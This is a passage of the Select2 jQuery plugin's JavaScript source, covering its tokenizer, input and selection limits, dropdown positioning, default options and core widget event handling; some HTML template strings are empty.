createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); S2.define('select2/data/minimumInputLength',[ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); S2.define('select2/data/maximumInputLength',[ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); S2.define('select2/data/maximumSelectionLength',[ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); S2.define('select2/dropdown',[ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '' + '' + '' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); S2.define('select2/dropdown/search',[ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '' + '' + '' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); self.$search.blur(); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); S2.define('select2/dropdown/hidePlaceholder',[ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); S2.define('select2/dropdown/infiniteScroll',[ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '
            • ' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); S2.define('select2/dropdown/attachBody',[ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $(''); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { Utils.StoreData(this, 'select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = Utils.GetData(this, 'select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); S2.define('select2/dropdown/minimumResultsForSearch',[ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); S2.define('select2/dropdown/selectOnClose',[ '../utils' ], function (Utils) { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = Utils.GetData($highlightedResults[0], 'data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); S2.define('select2/dropdown/closeOnSelect',[ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); S2.define('select2/i18n/en',[],function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); S2.define('select2/defaults',[ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(true, this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); S2.define('select2/options',[ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if (Utils.GetData($e[0], 'select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags')); Utils.StoreData($e[0], 'tags', true); } if (Utils.GetData($e[0], 'ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl')); Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0])); } else { dataset = Utils.GetData($e[0]); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); S2.define('select2/core',[ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if (Utils.GetData($element[0], 'select2') != null) { Utils.GetData($element[0], 'select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; Utils.StoreData($element[0], 'old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); Utils.StoreData($element[0], 'select2', this); // Ensure backwards compatibility with $element.data('select2'). $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting', 'clear': 'clearing' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to 